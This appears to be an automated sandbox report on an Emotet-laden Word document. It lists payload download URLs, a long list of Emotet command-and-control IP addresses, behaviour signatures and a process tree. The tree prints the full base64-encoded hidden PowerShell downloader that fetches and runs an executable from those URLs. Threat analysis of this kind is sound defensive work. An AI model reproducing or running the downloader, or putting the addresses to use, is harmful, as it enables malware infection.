Analysis
-
max time kernel
30s -
resource
win10v191014 -
submitted
29-01-2020 04:08
General
Malware Config
Extracted
http://www.icairjy.org/cgi-bin/WIeU/
http://beta.theeyestyles.com/wp-admin/34sz2/
http://rcsic.technocloudtech.com/jnzor/CeI/
https://www.expertencall.com/pts_bilderupload/plKooJuF/
https://lifebrate.com/9jjsf/g50o/
Extracted
emotet
108.190.109.107:80
174.83.116.77:80
125.207.127.86:80
74.208.45.104:8080
136.243.205.112:7080
23.92.16.164:8080
45.55.65.123:8080
24.164.79.147:8080
88.249.120.205:80
91.73.197.90:80
60.250.78.22:443
90.69.145.210:8080
101.187.237.217:80
85.152.174.56:80
190.117.226.104:80
190.12.119.180:443
186.86.247.171:443
47.153.183.211:80
37.187.72.193:8080
181.13.24.82:80
190.55.181.54:443
190.53.135.159:21
200.116.145.225:443
75.114.235.105:80
5.196.74.210:8080
70.184.9.39:8080
178.153.176.124:80
110.36.217.66:8080
64.40.250.5:80
169.239.182.217:8080
190.143.39.231:80
87.106.136.232:8080
72.189.57.105:80
120.150.246.241:80
207.177.72.129:8080
91.205.215.66:443
201.173.217.124:443
222.144.13.169:80
209.97.168.52:8080
181.126.70.117:80
210.6.85.121:80
87.230.19.21:8080
190.146.205.227:8080
85.105.205.77:8080
64.66.6.71:8080
68.172.243.146:80
176.9.43.37:8080
2.237.76.249:80
104.131.44.150:8080
177.239.160.121:80
121.88.5.176:443
182.176.132.213:8090
160.16.215.66:8080
149.202.153.252:8080
100.6.23.40:80
50.116.86.205:8080
62.75.187.192:8080
78.101.70.199:443
24.94.237.248:80
62.75.141.82:80
47.6.15.79:443
24.105.202.216:443
202.175.121.202:8090
101.187.134.207:8080
98.30.113.161:80
120.151.135.224:80
74.101.225.121:443
23.243.215.4:8080
105.27.155.182:80
181.143.126.170:80
183.102.238.69:465
209.141.54.221:8080
190.114.244.182:443
211.192.153.224:80
46.105.131.87:80
179.13.185.19:80
98.156.206.153:80
206.81.10.215:8080
104.236.246.93:8080
211.63.71.72:8080
108.179.206.219:8080
78.186.5.109:443
87.106.139.101:8080
47.156.70.145:80
24.196.49.98:80
47.6.15.79:80
209.146.22.34:443
95.128.43.213:8080
178.20.74.212:80
95.213.236.64:8080
200.21.90.5:443
201.229.45.222:8080
31.31.77.83:443
93.147.141.5:443
74.130.83.133:80
58.171.42.66:8080
62.138.26.28:8080
66.34.201.20:7080
78.189.180.107:80
76.104.80.47:443
60.231.217.199:8080
46.105.131.69:443
68.114.229.171:80
105.247.123.133:8080
152.168.248.128:443
181.57.193.13:80
101.187.197.33:443
42.200.226.58:80
103.86.49.11:8080
190.220.19.82:443
217.160.182.191:8080
180.92.239.110:8080
115.65.111.148:443
108.6.140.26:80
188.0.135.237:80
173.21.26.90:80
70.180.35.211:80
37.139.21.175:8080
92.222.216.44:8080
31.172.240.91:8080
139.130.242.43:80
189.212.199.126:443
223.197.185.60:80
205.185.117.108:8080
201.184.105.242:443
64.53.242.181:8080
190.117.126.169:80
Signatures
-
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
Powershell.exeWerFault.exepid process 4396 Powershell.exe 4244 WerFault.exe -
Suspicious behavior: EmotetMutantsSpam 2 IoCs
Processes:
431.exemexicoses.exepid process 4516 431.exe 4544 mexicoses.exe -
Program crash 1 IoCs
Processes:
WerFault.exepid process 4244 WerFault.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
Powershell.exe431.exemexicoses.exedescription pid process target process PID 4396 wrote to memory of 4496 4396 Powershell.exe 431.exe PID 4496 wrote to memory of 4516 4496 431.exe 431.exe PID 4560 wrote to memory of 4544 4560 mexicoses.exe mexicoses.exe -
Executes dropped EXE 4 IoCs
Processes:
431.exe431.exemexicoses.exemexicoses.exepid process 4496 431.exe 4516 431.exe 4560 mexicoses.exe 4544 mexicoses.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 4804 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 5 IoCs
Processes:
WINWORD.EXE431.exe431.exemexicoses.exemexicoses.exepid process 4804 WINWORD.EXE 4496 431.exe 4516 431.exe 4560 mexicoses.exe 4544 mexicoses.exe -
Process spawned unexpected child process 1 IoCs
Processes:
Powershell.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4396 5060 Powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
Powershell.exeWerFault.exedescription pid process Token: SeDebugPrivilege 4396 Powershell.exe Token: SeRestorePrivilege 4244 WerFault.exe Token: SeBackupPrivilege 4244 WerFault.exe Token: SeDebugPrivilege 4244 WerFault.exe -
Drops file in System32 directory 1 IoCs
Processes:
431.exedescription ioc process File renamed C:\Users\Admin\431.exe => C:\Windows\SysWOW64\mexicoses.exe 431.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\4ebe53c80f9e61eec98b08e15ea337629a3d6958ffb3db3221a5afb3a72b7863.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4804
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABXAGcAdQBuAGkAcQBwAHIAeQBvAGQAawA9ACcAVgBoAHcAdABuAGYAcABiAG8AJwA7ACQASABzAHoAZQB0AGQAagBkAHMAagBsACAAPQAgACcANAAzADEAJwA7ACQAUQBxAG4AeQB5AHAAcQB1AD0AJwBKAGEAeABhAGIAeQBpAGUAdgB0AHUAeQAnADsAJABSAGgAYQBzAGwAcwB5AGUAbgBmAHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEgAcwB6AGUAdABkAGoAZABzAGoAbAArACcALgBlAHgAZQAnADsAJABXAHEAeAB3AGMAdQBzAGoAegBoAHoAegBlAD0AJwBPAHQAZQBpAGQAeAB3AHcAbQBlAHIAJwA7ACQARQBoAGUAYgBkAHAAYwBpAHAAeQB3AD0ALgAoACcAbgBlAHcALQBvAGIAagAnACsAJwBlAGMAJwArACcAdAAnACkAIABOAGUAdAAuAFcARQBCAGMATABpAGUAbgB0ADsAJABFAGYAZABrAHAAaQBwAHcAZQBkAGsAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBpAGMAYQBpAHIAagB5AC4AbwByAGcALwBjAGcAaQAtAGIAaQBuAC8AVwBJAGUAVQAvACoAaAB0AHQAcAA6AC8ALwBiAGUAdABhAC4AdABoAGUAZQB5AGUAcwB0AHkAbABlAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvADMANABzAHoAMgAvACoAaAB0AHQAcAA6AC8ALwByAGMAcwBpAGMALgB0AGUAYwBoAG4AbwBjAGwAbwB1AGQAdABlAGMAaAAuAGMAbwBtAC8AagBuAHoAbwByAC8AQwBlAEkALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAGUAeABwAGUAcgB0AGUAbgBjAGEAbABsAC4AYwBvAG0ALwBwAHQAcwBfAGIAaQBsAGQAZQByAHUAcABsAG8AYQBkAC8AcABsAEsAbwBvAEoAdQBGAC8AKgBoAHQAdABwAHMAOgAvAC8AbABpAGYAZQBiAHIAYQB0AGUALgBjAG8AbQAvADkAagBqAHMAZgAvAGcANQAwAG8ALwAnAC4AIgBzAGAAUABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFAAdQBnAHIAYwByAGMAaABzAHUAPQAnAFoAYQBhAHAAYQBiAHUAagAnADsAZgBvAHIAZQBhAGMAaAAoACQATABqAHkAZQB3AGYAaQBnAGsAcwB1AHUAIABpAG4AIAAkAEUAZgBkAGsAcABpAHAAdwBlAGQAawApAHsAdAByAHkAewAkAEUAaABlAGIAZABwAGMAaQBwAHkAdwAuACIAZABPAFcAYABOAGAATABgAE8AQQBkAGYASQBMAEUAIgAoACQATABqAHkAZQB3AGYAaQBnAGsAcwB1AHUALAAgACQAUgBoAGEAcwBsAHMAeQBlAG4AZgByACkAOwAkAFoAcQBxAGsAeQB6AHUAawByAD0AJwBJAHQAZgBiAGkAeABtAHcAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAdABlAG0AJwApACAAJABSAGgAYQBzAGwAcwB5AGUAbgBmAHIAKQAuACIATABgAGUATgBHAGAAVABIACIAIAAtAGcAZQAgADIANwAwADgAMAApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAFQAYABBAFIAVAAiACgAJABSAGgAYQBzAGwAcwB5AGUAbgBmAHIAKQA7ACQATQBoAGQAeAB2AGcAbABjAHcAagB3AGgAdQA9ACcAUgBzAGMAbQBoAGMAaAB5ACcAOwBiAHIAZQBhAGsAOwAkAFYAbwBzAGUAaABtAGUAbABhAD0AJwBHAGIAZQBvAHkAcABvAHQAbQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABMAGgAZgB0AHQAdwBvAHcAZgBpAD0AJwBBAHMAdAB5AHAAdwByAHcAdABtAHMAJwA=1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
PID:4396 -
C:\Users\Admin\431.exe"C:\Users\Admin\431.exe"2⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4496 -
C:\Users\Admin\431.exe--f7838c503⤵
- Suspicious behavior: EmotetMutantsSpam
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Drops file in System32 directory
PID:4516 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4516 -s 2764⤵
- Suspicious behavior: EnumeratesProcesses
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:4244
-
C:\Windows\SysWOW64\mexicoses.exe"C:\Windows\SysWOW64\mexicoses.exe"1⤵
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4560 -
C:\Windows\SysWOW64\mexicoses.exe--91c1a0422⤵
- Suspicious behavior: EmotetMutantsSpam
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4544